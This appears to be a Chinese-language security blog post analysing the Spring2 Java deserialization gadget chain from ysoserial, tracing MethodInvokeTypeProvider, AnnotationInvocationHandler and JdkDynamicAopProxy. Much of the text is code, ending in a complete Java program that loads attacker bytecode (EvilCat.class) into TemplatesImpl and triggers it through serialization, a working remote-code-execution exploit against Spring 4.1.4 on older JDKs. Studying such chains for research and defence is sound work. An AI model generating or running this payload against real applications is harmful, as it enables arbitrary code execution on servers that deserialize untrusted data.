依赖版本
spring-core : 4.1.4.RELEASE spring-aop : 4.1.4.RELEASE jdk 1.7-1.8
Spring2 在 Spring1 的触发链上有所变换,替换了 spring-beans 的 ObjectFactoryDelegatingInvocationHandler,使用了 spring-aop 的 JdkDynamicAopProxy ,并完成了后续触发 TemplatesImpl 的流程。
0x01 MethodInvokeTypeProvider org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider.java
接下来我们从反序列触发点开始分析。
readObject()
1 2 3 4 5 private void readObject (ObjectInputStream inputStream) throws IOException, ClassNotFoundException { inputStream.defaultReadObject(); Method method = ReflectionUtils.findMethod(this .provider.getType().getClass(), this .methodName); this .result = ReflectionUtils.invokeMethod(method, this .provider.getType()); }
先在class找对应的方法,然后使用这个方法。调用的方法只能是无参方法。很容易就想到TemplatesImpl.newTransformer()。也就是办法把methodName改为newTransformer,provider.getType().getClass()要得到TemplatesI。
0x02 AnnotationInvocationHandler.java sun/reflect/annotation/AnnotationInvocationHandler.java
通过这个AnnotationInvocationHandler.java 动态代理结合interfaces,然后在反射构造函数传入map,map里面包含interfaces里面的方法名,和一个对象(map(“方法名”,Object) ),就可以在invocationHandler.invoke()调用时放回这个Object, 这就是Spring1这条链的精髓所在。
invoke
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 public Object invoke (Object proxy, Method method, Object[] args) { String member = method.getName(); Class<?>[] paramTypes = method.getParameterTypes(); if (member.equals("equals" ) && paramTypes.length == 1 && paramTypes[0 ] == Object.class) return equalsImpl(args[0 ]); if (paramTypes.length != 0 ) throw new AssertionError ("Too many parameters for an annotation method" ); switch (member) { case "toString" : return toStringImpl(); case "hashCode" : return hashCodeImpl(); case "annotationType" : return type; } Object result = memberValues.get(member); if (result == null ) throw new IncompleteAnnotationException (type, member); if (result instanceof ExceptionProxy) throw ((ExceptionProxy) result).generateException(); if (result.getClass().isArray() && Array.getLength(result) != 0 ) result = cloneArray(result); return result; }
0x03 TypeProvider org.springframework.core.SerializableTypeWrapper$TypeProvider
TypeProvider这个接口刚好有这个方法,可以想到通过AnnotationInvocationHandler.invoke来放回TemplatesI。
那么就是通过动态代理代理TypeProvider接口,invocationHandler传入AnnotationInvocationHandler,然后通过反射调用构造函数传入map(“geType”,TemplatesI),在调用接口任意方法就能返回TemplatesI。
对应的实现代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor<?> constructor = c.getDeclaredConstructors()[0 ]; constructor.setAccessible(true ); HashMap<String, Object> map2 = new HashMap <>(); map2.put("getType" , templates);InvocationHandler newInvocationHandler = (InvocationHandler) constructor.newInstance(Target.class, map2); Class<?> typeProviderClass = Class.forName("org.springframework.core.SerializableTypeWrapper$TypeProvider" );Object typeProviderProxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class []{typeProviderClass}, newInvocationHandler); Class<?> clazz2 = Class.forName("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider" ); Constructor<?> cons = clazz2.getDeclaredConstructors()[0 ]; cons.setAccessible(true ); cons.newInstance(typeProviderProxy,Templates.class.getMethod("newTransformer" ), 0 );
调试
可以发现成功返回了TemplatesImpl。
但是为什么没有加载成功defindclass了。
这里报错需要一个Type,但是TemplatesImpl cannot be cast to java.lang.reflect.Type,我们需要返回type对象,然后这个继续通过动态代理type对象然后返回TemplatesImpl对象。 这样需要一个InvocationHandler接口的实现类,它的invoke需要满足返回需要去触发另一个动态代理去返回TemplatesImpl对象,然后它需要继承Serializable,最好是jdk原生类,或者Spring里面的类。前辈找到了JdkDynamicAopProxy可以满足这个要求。
0x04 JdkDynamicAopProxy,AdvisedSupport org/springframework/aop/framework/AdvisedSupport.java
org/springframework/aop/framework/AdvisedSupport.java#setTarget()
也就是通过setTarget对EMPTY_TARGET_SOURCE赋值,从而对targetSource赋值,
org/springframework/aop/framework/JdkDynamicAopProxy.java#invoke()
获取 AdvisedSupport 里的 TargetSource,并调用 getTarget() 方法返回其中的对象
调用 AopUtils#invokeJoinpointUsingReflection() 方法反射调用对象的 method 方法并返回。
方法里就是简单的反射调用。
在看JdkDynamicAopProxy构造函数。
一切都很巧妙。
总结起来就是先初始化AdvisedSupport,然后把template对象setTarget进去,然后JdkDynamicAopProxy构造函数赋值advised为AdvisedSupport。这样动态代理JdkDynamicAopProxy时,就能触发targetSource.getTarget(),得到template对象。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 Class<?> Annotation = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor<?> annotationDeclaredConstructor = Annotation.getDeclaredConstructors()[0 ]; annotationDeclaredConstructor.setAccessible(true ); AdvisedSupport advisedSupport = new AdvisedSupport (); advisedSupport.setTarget(templates); Class<?> Aop = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy" ); Constructor<?> AopConstructor = Aop.getDeclaredConstructors()[0 ]; AopConstructor.setAccessible(true ); InvocationHandler AopInvocationHandler = (InvocationHandler)AopConstructor.newInstance(advisedSupport); Type Aopproxy = (Type) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class []{Type.class, Templates.class}, AopInvocationHandler); HashMap<Object, Object> hashMap = new HashMap <>(); hashMap.put("getType" ,Aopproxy); InvocationHandler AnnotationInvocationHandler = (InvocationHandler) annotationDeclaredConstructor.newInstance(Target.class, hashMap); Class<?> typeProviderClass = Class.forName("org.springframework.core.SerializableTypeWrapper$TypeProvider" ); Object typeProviderProxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class []{typeProviderClass}, AnnotationInvocationHandler); Class<?> clazz2 = Class.forName("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider" ); Constructor<?> MethodIConstructor = clazz2.getDeclaredConstructors()[0 ]; MethodIConstructor.setAccessible(true ); Object objects = MethodIConstructor.newInstance(typeProviderProxy,Templates.class.getMethod("newTransformer" ),0 );
运行没有问题。
由于需要反序列化触发。
所以MethodInvokeTypeProvider初始化时Method随便传一个,然后通过反射修改回newTransfrom。
1 2 Object objects = MethodIConstructor.newInstance(typeProviderProxy,Object.class.getMethod("toString" ),0 ); setFieldValue(objects,"methodName" ,"newTransformer" );
0x05 完整利用链 1 2 3 4 5 6 7 8 SerializableTypeWrapper$MethodInvokeTypeProvider.readObject() SerializableTypeWrapper.TypeProvider(Proxy).getType() AnnotationInvocationHandler.invoke() ReflectionUtils.invokeMethod() Templates(Proxy).newTransformer() JdkDynamicAopProxy.invoke() AopUtils.invokeJoinpointUsingReflection() TemplatesImpl.newTransformer()
完整代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 package com.tmp.cc;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.springframework.aop.framework.AdvisedSupport;import org.springframework.aop.framework.AopProxy;import javax.xml.transform.Templates;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.annotation.Target;import java.lang.reflect.*;import java.nio.file.Files;import java.nio.file.Paths;import java.util.HashMap;public class spring2 { public static void main (String[] args) throws Exception { byte [] classBytes = Files.readAllBytes(Paths.get("EvilCat.class" )); byte [][] targetByteCodes = new byte [][]{classBytes}; TemplatesImpl templates = TemplatesImpl.class.newInstance(); setFieldValue(templates,"_bytecodes" ,targetByteCodes); setFieldValue(templates,"_name" ,"123" ); setFieldValue(templates,"_class" ,null ); setFieldValue(templates,"_tfactory" ,new TransformerFactoryImpl ()); Class<?> Annotation = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor<?> annotationDeclaredConstructor = Annotation.getDeclaredConstructors()[0 ]; annotationDeclaredConstructor.setAccessible(true ); AdvisedSupport advisedSupport = new AdvisedSupport (); advisedSupport.setTarget(templates); Class<?> Aop = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy" ); Constructor<?> AopConstructor = Aop.getDeclaredConstructors()[0 ]; AopConstructor.setAccessible(true ); InvocationHandler AopInvocationHandler = (InvocationHandler)AopConstructor.newInstance(advisedSupport); Type Aopproxy = (Type) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class []{Type.class, Templates.class}, AopInvocationHandler); HashMap<Object, Object> hashMap = new HashMap <>(); hashMap.put("getType" ,Aopproxy); InvocationHandler AnnotationInvocationHandler = (InvocationHandler) annotationDeclaredConstructor.newInstance(Target.class, hashMap); Class<?> typeProviderClass = Class.forName("org.springframework.core.SerializableTypeWrapper$TypeProvider" ); Object typeProviderProxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class []{typeProviderClass}, AnnotationInvocationHandler); Class<?> clazz2 = Class.forName("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider" ); Constructor<?> MethodIConstructor = clazz2.getDeclaredConstructors()[0 ]; MethodIConstructor.setAccessible(true ); Object objects = MethodIConstructor.newInstance(typeProviderProxy,Object.class.getMethod("toString" ),0 ); setFieldValue(objects,"methodName" ,"newTransformer" ); try { ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream (); ObjectOutputStream outputStream = new ObjectOutputStream (byteArrayOutputStream); outputStream.writeObject(objects); outputStream.close(); ObjectInputStream inputStream = new ObjectInputStream (new ByteArrayInputStream (byteArrayOutputStream.toByteArray())); inputStream.readObject(); }catch (Exception e){ e.printStackTrace(); } } public static void setFieldValue (final Object obj, final String fieldName, final Object value) throws Exception { final Field field = getField(obj.getClass(), fieldName); field.set(obj, value); } public static Field getField (final Class<?> clazz, final String fieldName) { Field field = null ; try { field = clazz.getDeclaredField(fieldName); field.setAccessible(true ); } catch (NoSuchFieldException ex) { if (clazz.getSuperclass() != null ) field = getField(clazz.getSuperclass(), fieldName); } return field; } }
0x06 链接 https://su18.org/post/ysoserial-su18-3/#spring2